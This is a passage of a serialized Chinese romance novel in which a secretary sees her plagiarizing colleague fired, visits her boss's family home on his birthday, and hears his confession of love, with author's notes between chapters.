“这是沈秘书当时提交的策划案方案,和你的一模一样。”余辛对张图说道。 张图立马凌厉地看向沈孟青:“是她抄袭了我的方案!” 余辛从容地说:“那你给的出你这份方案的历史版本吗。” 张图自然是给不出,他转而又看向梁军,期盼着他能找到办法。 梁军这会缩在座位里,根本不敢和他对上目光,生怕他把自己也扯出来。 余辛看了他几秒,沉声说道:“行了,窃取同事方案去参赛得奖,我们公司很难留下这样的员工。张总,您觉得呢?” 他松松然侧头看向张明。 眼下这么多公司员工在这,都得知了张图的行径,余辛显然是想杀鸡儆猴,张明哪敢说句不。 他咬咬牙,吐出一句:“随余总处罚吧。” 说完,他再没脸待下去,甩手离席了。 场面凝固,余辛不至于在这直接处理了张图,他还是让沈孟青正常结束了这场分享会,过后再发布对张图的处罚结果。 会议室里的人逐渐离场,谁都没想到,在最后关头会出现比整场会议精彩百倍的内容。 周遭再次沉寂下来,沈孟青收完了电脑,见余辛坐在最前头还没动身,坐在那低头看手机。 她夹着电脑走过去,对余辛说:“怎么还不走。” 余辛搁下手机,仰起头看她,轻声说了句:“爽吗?” 沈孟青故作矜持地撇撇嘴,点了点头,而后还是憋不住笑意,眉眼一弯。 她笑盈盈地说:“爽!” 余辛眼尾扬起,他向沈孟青伸出右手,掌心朝上,静默地看着她。 沈孟青会意,举起一只手,重重地拍了下去,和他击掌—— 作者有话说: 梁军张图终于被惩治! 其实阿青写保健品推广和她住的小区有关,帮大家回忆一下很久之前几章的内容,小区里很多被保健品荼毒的大爷大妈们哈哈哈哈[菜狗] 第48章 第四十八章 沈秘书,请吧。 回到了办公室, 沈孟青还有点意犹未尽的遗憾,在这冷冷清清的董事办,她听不见别人热闹的讨论。 说实话, 余辛这次让她彻彻底底地有种大仇得报的快感, 到了现在,她都感觉胸膛里翻涌着阵阵浪潮, 酣畅淋漓, 难以平复。 更令她没想到的是, 和张图一起被开除的还有梁军。 梁军替张图抢走她的方案只是很小的一个导火索, 真正让他被开除的原因是,他私下和一些客户达成约定, 在促成愈生和对方合作之后, 他能获取几个点的回扣,这些年他从里头获利了小几千万。 姜羽看见公示时第一时间就发消息给了沈孟青, 说真是老天开眼了, 终于惩治了这坏人。 余辛和陈墨证据搜集得很快,难怪这些天忙得不见人影。 到了上午的下班时间,沈孟青划拉着聊天列表,打算约姜羽去食堂吃饭。 忽然, 列表的最上头弹出一条新消息, 是祝绍明发来的。 上回一起吃过饭之后, 沈孟青就加上了祝绍明的好友, 她动作一顿,不知道他能有什么事情找她。 祝绍明: 「余大少爷, 明天你想要啥生日礼物,说来听听,说不定哥就满足你了。」 原来是发错了。 沈孟青提醒他说:「我不是那位余大少爷。」 祝绍明立马撤回, 发了个不好意思的表情包来。 沈孟青和姜羽约好去食堂后,便从工位站起身,离开了办公室。 她一路上莫名想起好几次祝绍明那条消息,余辛身份证上的生日好像确实是明天,这样一算,他不过才二十六岁。 作为秘书,她是不是应该给老板准备一下礼物。 沈孟青没太多送男性礼物的经验,她在吃饭的时候向姜羽抛出了这个问题,姜羽却答非所问:“这要看你想送的是谁吧,是普通男性朋友,还是暧昧对象?” 她说最后四个字时语调悠长,坏笑地看着沈孟青。 “普通男性……上司。”沈孟青说。 姜羽:“余辛啊?” 沈孟青一噎,她应该含糊地说是同事的。 姜羽垂头思索了会,说:“那就得看你是于公还是于私了。” 沈孟青认真地说:“我和他之间只有公事。” “嗯嗯,只有公事。”姜羽一副不相信的神色。 她本来觉得余辛那种高冷的性格,不太适合做男朋友,但自从他来愈生就任之后,姜羽才发现他这人还挺靠谱的。更重要的是,她看得出,余辛对沈孟青很不一样。 但是她总感觉沈孟青被林向阳冷暴力分手之后,有点不相信爱情那意思,也不知道自己那老同学能不能拿下她这姐妹。 “阿青,你和林向阳也分手这么久了,他都和万珍过上日子了,你不想再谈个么?”姜羽向沈孟青问道。 沈孟青淡淡地笑了下:“这也是看缘分吧。” 姜羽咽了咽嘴里的饭:“你不会是被林向阳伤到了吧,我看网上有些姐妹也是,被男友冷暴力分手之后,就会很长一段时间不敢再建立亲密关系。” 沈孟青诚实地说:“多少有点。” 就像她之前只能和余辛达成一种快餐式的关系,很难往爱情上面引申。 她再怎么没对林向阳爱得有多深,六年之久的时间也足以在两人间筑起一段又厚又长的血管,被斩断了后,需要时间修复。 万幸的是,林向阳这人坏透了的本质被她看见,她现下已然痊愈了。 当然,多多少少也有点余辛的功劳。 在姜羽这没问出什么有效的建议,沈孟青想了一晚上,终于决定在第二天给余辛订了个花篮。 她在外卖订单上特意备注:是送给领导的,花束的颜色尽量沉稳端庄一点。 沈孟青原以为这样就万无一失了,没想到,商家下午送来的花篮里塞满了康乃馨和百合,很淡雅美丽,但显然是默认了她要送的是女领导。 她做了一番心理准备后,提着花篮,敲响了董事长办公室的门。 方莉正好进来,她瞧见沈孟青,朝她大声说道:“沈秘书,余总和陈特助早上就出去了,说是今天不会再回来了,都不见客。” “哦,这样啊。” 沈孟青反倒舒了一口气。 这花带回去插家里算了。 正好趁现在办公室没人,要不她把另一个礼物悄悄摸摸地塞余辛办公室里去。 方莉还没离开,端着杯温水喝着,趿拉着她放在办公室的毛绒拖鞋走过来。 在看清沈孟青手里的花后,她惊讶地说道:“沈秘书,这花真好看,你是要送人吗?” 沈孟青心虚地笑了笑:“不是,我这不是看董事长办公室里太单调了么,想着摆点花放在里面。” “确实单调了点。”方莉想起什么,眼睛一亮,“正好我有个没用的花瓶,你跟我来,我们一起把花插进去吧!” 方莉伸手挽上沈孟青的胳膊,带她去到前台。 前台附近有个暗门,门后是杂物间,方莉推开门,花瓶就放在门口的柜子上,她本来插了几枝梅花,前两天没换水就臭了,她只好全部扔掉。 “我昨天下班前刚把这个花瓶洗干净,你可以直接把花放进去。”她说。 这个花瓶的瓶身纹路很漂亮,晶莹剔透的,高度也刚刚好。 插花主要在一个疏疏绰绰的素雅,盈满则亏,多了便不好看了。 沈孟青挑了几枝浅色的康乃馨和百合放进去,剩下的她和方莉瓜分了,摆在各自工位上。 董事长办公室的备用钥匙在她这,沈孟青打开了办公室的门,她不确定余辛会不会喜欢办公桌上就有花,便把花瓶搁在了沙发前的茶几上。 等她退出办公室重新锁好门,回到工位后,沈孟青瞥见柜子前的一个袋子,才想起忘了把正经的礼物放余辛办公室。 正巧的是,下一秒她收到了余辛的来电。 “喂?” 她边应着电话,边看了眼电脑屏幕上的时间,该下班了。 余辛那头安安静静的,他的声音低沉,透过听筒传来:“喂,你还在办公室吗。” 沈孟青收着东西,回他说:“在,怎么了。” “我紧急需要个文件,能不能帮我送过来,来回的车费我出。”余辛说。 沈孟青想了想,反正他住的小区离她挺近的,还能顺便把礼物送给他,应下说:“行。” 余辛告诉了她文件放的位置,随后给她打好了专车。 沈孟青坐上车,司机师傅热情地和她打了个招呼,很快,转过了第一个弯后,她发现路线不太对劲。 “师傅,这不是去福江路的路线吧?”她奇怪地问道。 司机看了眼手机,一脸讶异地从后视镜朝她看去:“姑娘,你不是要去檀香路吗,你不会上错车了吧!” 沈孟青一怔,连忙拿起手机找余辛确认,她明明上车前还看了眼车牌号的呀。 还真有他发来的未读消息。 狗头上司: 「在电话里忘了说,送文件的地址不是你对面的小区,是我另一个家。」 “……” 不早说! 沈孟青气得一撂手机和手里的礼物袋,她出声道:“师傅,没错,您继续开吧。” “得嘞,还有半小时,姑娘你休息会儿。”司机师傅回应道。 沈孟青拧开手边的水,仰头灌了几口,沁满凉意的水涌入身体里,她望向窗外川流不息的车流走神。 她不傻,余辛平日里做事滴水不漏,这种忘了说地址的行为,很难不让人怀疑他是故意的。 看在他生日的份上,她就勉为其难地不计较了。 几十分钟后,等车子缓缓驶入别墅群,沈孟青的眼睛渐渐睁大。 她像是误入了豪门世家盘桓的地盘,这一幢幢别墅和庄园似的。 司机在余辛设定好的地址前停下,沈孟青提着东西下车,站定在一个铁门前。 她按下门铃,没多久,门缓缓打开。 门前站着一位面善的阿姨,她笑容和蔼地看向沈孟青,说:“你就是沈小姐吧?” 沈孟青点点头,礼貌地说:“阿姨您好,我是来找余总的。” “叫我陈姨就行,他刚在和客户打电话,就嘱咐我来门口接你。” 陈姨想接过沈孟青手上的东西,沈孟青摆摆手,婉拒了她。 陈姨笑着继续道:“我知道你,你是小余总的秘书。我儿子是陈墨,你俩算是同事。” 沈孟青惊异地张了张嘴,她方才还在猜测陈姨会不会是余辛的妈妈,但又感觉长相和言行不太像,原来她是陈特助的妈妈。 仔细一看,确实陈特助长得和她有几分相似。 “小余总还是个小孩的时候我就在余家做活了,算是看着他长大的。他是从小到大都爱和他爸吵,所以等他长到十几岁了,就自己搬出去住了。前段时间他爸出了事,你应该也知道,在那之后他才偶尔回来住几回。” “今天是他生日,我前两天特意打电话让他回来住,这种日子不能一个人在外面过。” 陈姨絮絮叨叨地说着,和沈孟青一起踏过柔软的草坪,沈孟青也不觉得啰嗦,安静地听着。 “虽然他这些事听着挺叛逆的,但他其实从小也吃了很多苦,他妈……哎,我也不多说他们家的一些情况了,反正他确实没人疼没人爱的。他这人很懂感恩的,我照顾过他很多回,他都记在心里,陈墨从大学到研究生所有费用都是他出的。” 余辛挂断了电话,就站在房子的门前,陈姨见到他,便不再聊往事了,将话题拉回普通的寒暄。 沈孟青走到余辛跟前,将文件夹递给他,陈姨就在旁边拧了一把余辛,说:“邀请人家去客厅坐,站着算怎么回事。” 余辛使了个眼神给沈孟青:“沈秘书,请吧。” 沈孟青本想给完文件和礼物就走的,但陈姨看向她的眼神里充满期盼,她踌躇了下,还是迈步走了进去。 她本以为这别墅外头宽阔的草坪和喷泉足够震撼了,没想到里头更是富丽堂皇,忽然对余辛富二代的出身有了实感。 她才在客厅坐下,陈姨给她端来热水,说:“你们聊,我去做饭,你晚上就在这吃吧。” 沈孟青倏地站起身:“要不我帮您吧。” 陈姨:“不用。” 余辛:“她做的馄饨很好吃。” 陈姨瞪了眼余辛,觉得这小子心思和关不住的兔子似的,快蹦出来了。 原来沈秘书就是那馄饨姑娘啊,余辛有段时间天天让她做馄饨,每次吃完都说味道不对,可把她气坏了。 陈姨笑着说:“沈小姐,要不你教我做个馄饨?别的菜我来准备就行。” “那也行。” 沈孟青跟着陈姨去了厨房—— 作者有话说:又来了一个助攻嘿嘿 陈姨最靠谱! 辛子:屏幕前的家人们觉得我是故意让阿青来我家的吗[害羞] 第49章 第四十九章 你是不是喜欢我 去厨房的路上, 陈姨向沈孟青凑近了些,问她道:“这小子是不是不好相处呀?” 沈孟青笑了下:“还行,有时候说话气人了些。” 她发现陈姨其实和余辛的关系很亲近, 方才对着她喊小余总, 估计是寻常在外人跟前会给足面子。 陈姨说:“他是这样的性子,不习惯和人好好说话, 你多担待点。你做的馄饨他可是和我夸过好多次, 我今天可要好好学一学。” 沈孟青这手艺也是从三姨那偷师来的, 要说当老师教陈姨这种厨龄几十年的, 实在惭愧。 她只记得三姨说了几个放紫菜和虾米的时间要点,简单和陈姨说了下后, 陈姨顿时就领悟了, 煮出来的馄饨比她做的好吃多了。 陈姨添了两碗出来给沈孟青,让她端去和余辛先垫垫肚子, 她再和厨师做剩下的菜。 沈孟青踢踢踏踏捧着两小碗馄饨往回走, 没走多久,发觉自己有点忘了来时走过的路。 当时陈姨在和她聊天,她竟忘了好好留意路线。 手里的碗还在发热,沈孟青随手在身边的高台上一放, 左顾右盼地看了一圈, 着实找不到方向。 她不敢乱走, 拿出手机给余辛发消息: 「迷路了, 来接我。」 狗头上司很快回她: 「?」 「我家又不是城堡,这也能迷路?沈秘书, 我第一次有点怀疑你的能力了。」 …… 这和她能力有什么关系,她又不会在外头把他这位金贵老板弄丢了。 余辛让她拍张照发去,好确认她的位置。 身边好像也没什么特别的地方, 最不一样之处就是前头有个小飘台,不是围着栏杆那种,只落了个窗户在那。 她拍了这个窗台给余辛发去,她点开图片一看,发现恰巧拍到了幽蓝空中高悬的明月,是一幅清澈澄静的景致。 余辛也称赞说: 「拍得还挺好看。」 「别欣赏我的拍照技术了,快来找我,馄饨快吸饱汤了,虾米尸体都凉了。」 她催促道。 大概过了几分钟,右手边一条道传来脚步声,余辛旋即出现在她视野里。 沈孟青见到他,第一时间分了一碗馄饨递给他:“一人端一碗。” “没必要。”余辛勺起一口汤试了下温度,“是有些凉了,直接在这吃吧。” “在这?”沈孟青疑惑地说。 余辛点点头,窗台前有一块大理石岩面,放个馄饨碗,刚刚好。 他二话不说,把沈孟青那碗接了过来,也往上面一放。 窗台的高度对于沈孟青来说正好,但余辛就有些费力了,他也不在意,低头含入一个馄饨,口中清香四溢。 “这次对味了。”他淡淡说道。 沈孟青也吃了口,吐槽他说:“瞧你挑剔那样,陈姨做的可比我做的好吃多了。” 余辛垂头说:“吃习惯了你煮的。” 月光隐隐约约洒下,柔和似水,流转在余辛的发尖,将他又硬又扎的头发都照得软和了几分。 沈孟青看了他几眼:“没这么夸张吧,一碗馄饨而已。” 余辛微微勾了下嘴角,没再说话。 两人吃完了馄饨,余辛带着她去了餐厅,陈姨准备了好几样菜,见这两人姗姗来迟,调侃说:“你们俩吃馄饨吃到沟里去啦,人影都没看见,现在才来。” 落席而坐,陈姨拿来了一瓶红酒,摆在桌上。 沈孟青侧过头看向余辛,用眼神询问他怎么还要喝酒。 “陈姨,你坐下一起吃吧,喝不喝酒,看客人的意思。”余辛说道。 陈姨在沈孟青手边坐下,问她说:“沈小姐,你想不想喝酒?” 沈孟青给了余辛一记眼刀,气他把这问题抛给自己。她迎上陈姨的目光,这才看出来,陈姨哪是想要劝他们酒,分明是自己想喝。 她不想扫陈姨的兴致,顺着说道:“那要不喝点儿?就不喝多了,还得上班,我老板还在这呢。” “好嘞!要是你老板为难你,和陈姨说,陈姨替你撑腰。” 陈姨喜上眉梢,她很久没喝过酒了,这回终于有人陪她喝几杯,过过嘴瘾。 气氛融洽,三人吃着热乎可口的菜,不时碰杯浅酌两口,在这夜深人静时,别有一番意趣。 一瓶红酒三个人分,份量说多不多说少不少,能尝到一丝甘甜酒意,也不至于醉人。 一席饭吃完,沈孟青本想帮着陈姨收拾残局,陈姨说什么也不让,将她和余辛一同轰出了餐厅。 回客厅的路上,沈孟青侧头瞥了几眼余辛,虽然他面上不显,但看他眼里星星点点那模样便知道,他心情很好。 她准备的礼物还放在沙发上,沈孟青拎起来,递给余辛说: “生日快乐。” “陈姨告诉你的?”余辛接了过来,喃喃说,“叫外卖的速度还挺快。” 沈孟青摇摇头:“不是陈姨,反正我就是知道了。” “这么关注我。” 余辛臭屁地说完,看出沈孟青想张口反驳他,他转移话题道:“可以拆开吗?” 水晶吊灯的倒影在他眼里散开稀碎的光芒,比穹顶上如昼的星辰还要闪耀,他在说出这句请求时带着些小心翼翼,像是一只等待主人指令的小狗,怕磕着碰着一个宝贝。 沈孟青轻轻颔首:“打开看看。” 礼物袋很大,余辛伸手从里头拿出来一个盒子,包装四面是透明的,里头摆放着一个精美的F1赛车模型。 “我记得上回在赛车场,你开的那辆车是蓝色的,所以这次也挑了个蓝色赛车模型。” 沈孟青见余辛垂头沉沉地看着手里的礼物,长长的睫毛盖住他眼里的情绪,看不分明。 “喜欢吗?”她问道。 毕竟是送人生日礼物,难免还是会在意寿星对礼物的态度。 余辛骤然抬起头,眸色变得深邃而沉重,紧紧凝视着对面的人。 “沈孟青,我……” 沈孟青也不知怎的,碰上这股灼热的目光,她不自觉捂上了他的嘴。 他这副表情,让她有点招架不住,下意识不愿听他接下来要说的话。 不论是好的还是坏的。 “喜欢就行,我先走了。” 沈孟青挎上包,提脚就往门口走去,余辛长腿一迈,横在她前面。 他面色又冷了下来,注视着她:“你在怕什么?” 沈孟青扬起下巴:“我没怕,我该回家了。” “你没怕,那你就听我说完。”余辛犟着劲地说。 沈孟青被他一激,脾气也上来了,把包一扔:“余辛,我都还没问你今天是不是故意把我喊来这的呢。” “是,我承认。” 没想到余辛答得这么快,沈孟青有种自己落到了下风的错觉,她看向余辛暗潮涌动的双眸,血液逐渐倒流,黑夜里有什么东西快要挣脱桎梏,破笼而出。 “好。” 沈孟青抱起手,破罐子破摔,丝毫不愿屈居下乘:“那我问你,你是不是喜欢我?” 她彻底撕开了两人间那层透明又稀薄的屏障,将余辛拽入了她的领地里,用最尖锐的矛,将他抵至四面都被包围住的暗角,让他退无可退。 余辛没什么意外的神色,他将礼物轻放在沙发上,看向沈孟青的眼神似是包含了跨越时间的万千思绪,饱满而沉挚。 “是。”余辛说,“沈孟青,我从很久之前就开始在意你了,一开始只是觉得你很不一样,会下意识关注你。” “我们第一次发生关系的时候,你还记得那晚我抽烟了吗,我在你阳台上吹了半晚冷风,也想了很多,我都想好了第二天早上我就和你坦白我的身份,尝试着去进行一段恋爱。但是你醒来之后,说我们就这样相处吧。” “再之后,我遇到过几次林向阳,又或者是和你相亲的李青河,我发觉自己只要一想到他们能光明正大地站在你身边,和你产生感情羁绊,我就嫉妒得快要发疯了。” “我知道,我不会表达,也经常语出伤人,但是,我每天都愈发地爱你,这点从未变过。” 他一口气说完了内心尘封已久的所有想法,像开闸放水的山洪,每一滴都倾注而出,试图浇灌沈孟青这朵鲜花,直至她朝他绽放。 余辛抬起手,想要抓住沈孟青的手,却被沈孟青一个退步错开。 沈孟青这会冷静得可怕:“你让我想想。” 她皱起眉,红唇轻启:“是,我也无法否认对你一点感情也没有,但是余辛,你有没有想过,我和你的关系太特殊了。” “我们前一段关系,是单纯建立在欲望上的,这样的情感我没办法信任。其次,你先前和我相处,从来没有提过你的真实身份,而在之后呢,又一句话不说直接成为了公司董事长。” “有时候你让我觉得,我从来没有和真真正正的你相处过,你永远都戴着面具,而我怎么敢把真心真情托付给一个不对我全盘托出的人呢?” 余辛听完她这话,朝她走近了几步:“每一个和你相处的时刻,都是完全真实的我,那些身份里的我才是虚假的,你能明白吗?” 沈孟青反驳说:“在我的视角里,你的的确确对我隐瞒了。” 余辛眸光闪动:“行,那我问你,你说我们前一段关系是单纯的欲望,究竟是那段关系没有掺杂感情,还是那时候的你,对我一点感情都没有。” “对我来说,那段时日的你,已经是和别人不同的了。”他说道。 沈孟青缄默了会,诚实地说:“我说不清楚。” “沈孟青,向你隐瞒身份是我的错,但我对你是完全真心的。” 余辛扶上她纤细的肩膀,低声说,“或许,你的心也对你有所隐瞒。我给你时间想清楚,我也会努力让你想清楚的,好吗?”—— 作者有话说:已明牌! 辛子追妻长路漫漫[狗头] 第50章 第五十章 我过得不好 时间太晚, 余辛知道沈孟青这会不想再和他独处,将她送到门口,看着她上了自己叫的网约车。 坐进了暖和的车子里, 沈孟青搓了搓手指, 指尖浸满了凉意,还僵硬着。 她抬眼看向后视镜, 余辛高高大大的身影快揉进夜里, 他本就气质冷冽, 这会在如墨夜色中, 像是个暗夜行者。 等车渐渐驶远,他的身形不断缩小, 和他身后的繁茂树木融为一体, 缀为一枚枝头边缘锯齿状的树叶。 时间一长,她缓缓回过劲来, 突然有些后悔, 不该和余辛撕破脸,明天上班还怎么和他正常相处。 万幸的是,她第二天到办公室时,被陈特助告知余辛和他要出差一周。 一个星期的时间, 够她和余辛消化掉这些情绪了, 说不定等余辛一回来, 他们又能做回普普通通的一对老板和秘书, 和旁人无异。 话虽这么说,但沈孟青这些天总是会想起余辛对她说的话, 字字句句刺激着她的神经。 她以前怎么没发现,这臭脸人还有这么能说会道的时候,她以为就他那性子, 就算喜欢谁也只会闷在心里,埋藏在冰川底下。 昨天的对峙,看似是她在不断朝余辛进攻,实则只有沈孟青自己知道,在余辛主动缴械亮出弱点后,她找不出能击溃他的办法,在这局计时结束后,没有人胜出。 过了一周,余辛把新的销售部经理从邻市挖了过来。 新销售部经理上任的第一天,余辛还特意开了一个高层会议,算是给这位初来乍到的经理一个介绍自己的场合。 这位经理叫何望,和余辛经历相似,有多年的留学经验,回国后在一家医药外企做销售经理。 沈孟青不过才听他几句自我介绍,就能看出他和梁军的风格完全大相径庭。 梁军是人情社会里浸润到圆滑世故的一个典型中层,而何望崇尚自由和平等,有点像留学派版本的梁如薇。 在这样的场合,何望没有丝毫阿谀奉承的姿态,幽默风趣地说出了自己过往的经历,对于那些卓然的业绩,他也只是耸耸肩,说展示过去也没什么意义,希望下次再向股东汇报的时候,这一页都会变成他在愈生的荣誉。 股东们本来对于余辛自作主张的选人颇有异议,但这场会议下来,他们对何望还算满意。 即便他不是个会讨好的人,但他的能力显然比固步自封的梁军更加优秀。比起再找一个只会哄他们的不定时炸弹,眼下来看,还是找个带愈生提升业绩的人有利些。 何望性格独特,他在最后留下了自己的联系方式,说只需要电话联系他就行,他不太习惯和不熟的人在微信聊天。 这种行为让沈孟青一秒联想到余辛,在这个方面,何望和他一模一样,难怪惺惺相惜。 会议结束后,沈孟青坐在后头等股东们离开,何望关下电脑,径直走到她跟前。 “想必你就是沈秘书?”何望身上的西装是浅灰色的,即便他眼尾有几道细纹,但依旧很年轻,看起来三十出头。 沈孟青点点头,站起身和他礼貌地握手:“你好,何经理。” 何望收回手,笑着说:“我可真得习惯一下,以前在公司大家都叫我何,不会加上经理俩字,我老感觉听起来像卖保险的。” 不算很好笑的笑话,但何望总有一种说什么都让人觉得想笑的能力,沈孟青展颜一笑,说:“那你是得习惯习惯,以后你每天可能会听见别人喊你几十遍何经理。” 何望给足了她反应,苦恼地抱住了头。 随后,他拿出手机,对沈孟青小声说:“那些老男人的好友可以不加,但美女的联系方式一定得加上。沈秘书,咱俩加个微?” “行啊。” 沈孟青作为秘书,为了工作便利,肯定都得加上各部门经理的好友,就算何望不来加她,她也是得去试试加他的。 她扫下何望的名片二维码,指尖在屏幕上点了几下:“发送请求了。” 再抬头时,余辛不知什么时候站在了何望旁边,他身穿一身深色的西装,斜斜靠在桌沿边,最近他的气质越来越沉稳,那些股东看向他的眼里也再没了轻蔑。 何望也看见了他,后退几步坐在他身旁,只是他矮了些,没余辛那肆意拽酷的劲儿。 他捕捉到余辛目光里一道转瞬即逝的寒意,了然了几分,撞了下余辛肩膀:“去你办公室聊聊?” 余辛点了点头,却没挪动一下,何望眨了眨眼,提脚先去了他办公室,在心里酸了他几句。 会议室又只留下余辛和沈孟青两人,人都走尽了,沈孟青准备开始善后工作。 倏地,坐在桌边的人闷声开口道:“你这周过得好吗?” 沈孟青手上边规整着会议室座椅,边说道:“挺好的啊。” “可我过得不好。” 余辛脑袋微微垂着,怪会装可怜。 “你一条消息都没给我发,连工作消息都是通过陈墨转交的。” 沈孟青没搭理他,都是没必要上升到董事的小事,她找他汇报做什么。 她兀自将会议室整理完了,在门边朝余辛说:“余总,我先走了,等会你出来的时候记得关灯。” 说完,她脚下生风地回了秘书办公室。 余辛盯了会粗糙起毛的地毯,心情和地毯毯面一般起皱,手一插兜起了身。 他啪地一声关了灯,又规规矩矩地关上了会议室的门,怕等会他那秘书会来检查,指责他有哪里错漏了。 何望在他办公室等得百无聊赖,这会自助喝上了茶,在手机上看最新的围棋比赛。 他察觉到脚步响动,注意力仍放在屏幕上:“哟,来了。” “你倒是挺会抓住时间摸鱼。”余辛在他位置上坐下,懒懒散散向后靠去。 何望摁灭手机,笑着说:“向老板学习。” 余辛:“?” “老板不仅上班时间摸鱼,摸的鱼还是追他的秘书,愈生倒是比我想象得有意思多了,我可真来对了。” 何望一副比余辛还懒怠的姿态,翘起二郎腿,看戏一般地望向上座的人。 余辛嗔他一句:“无聊。” 何望夸张地说:“我刚加沈秘书微信的时候,你看我那眼神都快把我丢进冰窖里了,我差点都怀疑我人身安全了。” “人沈秘书知道你想法吗,我怎么看她对你没意思啊?” 何望巴不得多投些柴木,把火烧得更旺些,烧出余辛这张冷面背后的模样。 余辛两条长腿在桌下大喇喇地一杵,寒声说:“我们之间的事情很复杂,你不懂。” “那可不一定。”何望眉毛飞扬,“有些事情你觉着复杂,其实啊,就是你没戳中人家心窝子,没能打动人家。” 何望虽说是个大光棍,但再怎么说也比余辛多吃了好几年的柴米油盐,风花雪月的事自己摸爬滚打过,也见过不少,自认还是比较懂女人的。 他苦心对余辛劝解说:“你要多关注别人的需求,不要自以为是,更不要玩一些欲擒故纵,什么高冷毒舌霸总那套,现在的女人都喜欢打直球,那套已经过时了。” 余辛听他这话,感觉每一个字眼都在点自己,轰他出门说:“我要开个会,你先回去。” 何望站起身,出门的几步路上还不忘扭过头对余辛说:“就你现在这样,一理亏就强硬的态度,女人肯定讨厌。” 余辛看着何望捏住自己软肋的得意那样,心下更是烦闷,恨不得立马带他去网球场,狠狠虐他几局。 他和何望是在网球场认识的,当时两人来回杀了几局,余辛总是在最后几个回合拉大比分,打到最后,何望发现他是在控分。 这对何望这个网球爱好者简直是莫大的羞辱,他让余辛别再手下留情,没想到,更羞辱了。 在那之后他们就成为了球友,交往了几次后才知道双方都在医药行业工作,便不时开始行业交流。 陈墨前段时间筛选出的销售部经理候选人其实没有何望,但余辛和陈墨讨论了下销售部经理的画像后,他立马想到了何望。 何望本来就想来北城工作,所以才会经常来这边,没有拒绝余辛抛出的橄榄枝。 …… 那头沈孟青回到了工位,她打开电脑准备完善下方才写的会议纪要。 这次会议的纪要写起来还算轻松,大部分内容都是何望的介绍,总结起来很简单,没有长篇大论的计划方案。 埋头工作了一会,她把纪要文档发给陈墨后捏了捏酸胀的肩膀,拿起手机查看未读消的息。 时隔许久没联系的郝奇思给她发了消息来,沈孟青看清内容后,轻轻蹙起了眉。 他说: 「姐,你借了别人钱但那人不要你还怎么办?」 沈孟青回复他: 「你借钱了?借了谁的,多少金额。」 「不对啊,你借的渠道正规吗,怎么会有人不要你还钱?赶紧给我回消息。」 她一瞬间在脑子里想了无数个最坏的结果,替郝奇思做着打算。 郝奇思说: 「姐,你别激动,不是什么坏人,这人你也认识。」 「谁。」 沈孟青深吸了口气。 屏幕上弹出他的回复: 「余辛哥。」 「姐,你能见着他吗,要不我把钱给你,你帮我还了吧?」 沈孟青额角狂跳: 「借了多少?」 郝奇思那边一直显示对方正在输入中,估计是不敢告诉她。 等过了一会,他才下定决心似的,向沈孟青坦白说: 「两万。」 沈孟青: 「???」 这死小孩,要这么多钱干什么!—— 作者有话说:卖惨来了[狗头]《 》 50-60 第51章 第五十一章 想和我见面了? 沈孟青收到这个震惊的消息, 椅子都坐不住了,当即给郝奇思打去了电话。 等待连线的嘟嘟声响了许久,郝奇思才接通。 她不等郝奇思说话, 径直问他:“你找他借钱做什么?” 郝奇思的语气听起来有些瑟缩:“我妈找到了合适的铺子, 想开店,我不想看她到处借钱筹钱, 想帮她把押金付了。” 他解释说:“我没借多久!我想着马上要发奖学金了, 才敢去借钱的, 这不这几天奖学金发下来了么, 我立马就去还余辛哥钱了,但他不收。” 沈孟青头疼得很, 骂完他又忍不住想说余辛几句:“他也是, 借了你钱还不让你还。” 郝奇思沉默了会,谨慎地开口说:“姐, 你现在和余辛哥怎么样啊?” 沈孟青敏锐地察觉到什么, 反问他说:“什么意思,你和他借钱牵扯到了我?” 郝奇思被她问得沉默下来,安静得一点声响都没有。 “说实话。”沈孟青真想把她这表弟从手机那头揪出来,好好盘问一顿。 郝奇思一咬牙:“好, 我说, 姐你别生气。” “我这不是找余辛哥借了钱吗, 有时候他问我一些你的事儿, 我拿人手短吃人嘴软,总得回答几句。但都不是什么私密的事情, 也就是问问你的动向,关心下二姨的身体情况。” “我能看出余辛哥是好人,也能看出他想追你, 所以就会回他一些问题。我真知道错了姐,还完钱之后,我就彻底和他两清了,下次他再问我我再也不说了。” 沈孟青快被郝奇思气死,她还真不知道他有这本事呢,直接背后卖她消息。 “所以上次我妈生病住院,那些保养品是他送的,他来楚城了对不对?”她问道。 郝奇思小声说:“对,他去医院了,但我不知道为什么没和你见上面。” 还能是为什么,肯定是听到了她和郝孟的对话。 现在纠结郝奇思这事也没用了,沈孟青叹了口气,说:“三姨那边铺子盘下了吗?” 郝奇思回她道:“都租好了,手续办完了,也挺巧的就在你家小区门口。我妈一直觉得你家那边热闹些,二姨有次散步发现门口有个铺位转让,就拍给我妈看了,我妈去实地考察了下挺满意的,我就把钱打给她让她赶紧定下来了。” “行,铺子的事解决了就好。钱那边我来还吧,你先别操心这个了,好好上学。” 沈孟青挂了电话,在心里盘算起来。 转账他肯定不会收,要不去银行取两万现金,塞他手里算了。 很莽撞的方法,但说不定对余辛有效果。 沈孟青向来行动力很强,下班了之后,她直接在公司附近的一个24小时ATM机取好了两万块钱。 她没带能装钱的东西,只能硬生生放在包里,很久没带这么多现金在身上,她不太习惯,下意识把手捂在包上,生怕有钞票长出腿自己跑了。 回到家,她把两万块钱放进信封袋里装好,拿出手机给余辛发消息。 她说: 「你什么时候方便单独见一下。」 几乎下一秒,余辛就打了电话来,吓得她手机差些没拿稳。 她摁下接通,却没说话,等对方先开口。 余辛嗓音低沉:“怎么,想和我见面了?” “……有事找你,正事。” 沈孟青字正腔圆,强调地说道。 余辛撇撇嘴:“正事?那在办公室说吧,明天上午来找我。” 沈孟青怕说太多他会猜到,又不愿收这些钱,只能旁敲侧击地问他:“不方便在外面见吗?” “嗯,这几天时间确实排不开,你急的话就办公室见吧。”余辛说。 这两万块钱烫手得很,自然越早转移给他越好,沈孟青想了想,决定道:“行,那明天上午我来找你。” 可能是还钱这事让沈孟青有了沉重的责任感,她晚上睡着后,居然梦到了这个场景。 她梦见余辛西装款款地坐在位置上,接过她鼓鼓囊囊的信封袋后,他直接抽出这把两万块钱,洋洋洒洒甩在空中。 他还扬起锋利的下颚线,冷眼看向沈孟青说:“沈秘书,你这是瞧不起谁呢?” 他活脱脱一副见钱不是钱的霸总样,给梦里的沈孟青气得不轻。 醒来之后,她回忆起这个莫名其妙的梦,越想越觉得余辛说不定还真会是这副反应。 到了办公室后,沈孟青电脑正对着门口,门大大敞着,余辛一经过她就能看见。 在瞥见他进办公室的身影后,沈孟青揣起信封袋,还掩耳盗铃地夹着个文件夹,姿态笔挺地走进了董事长办公室。 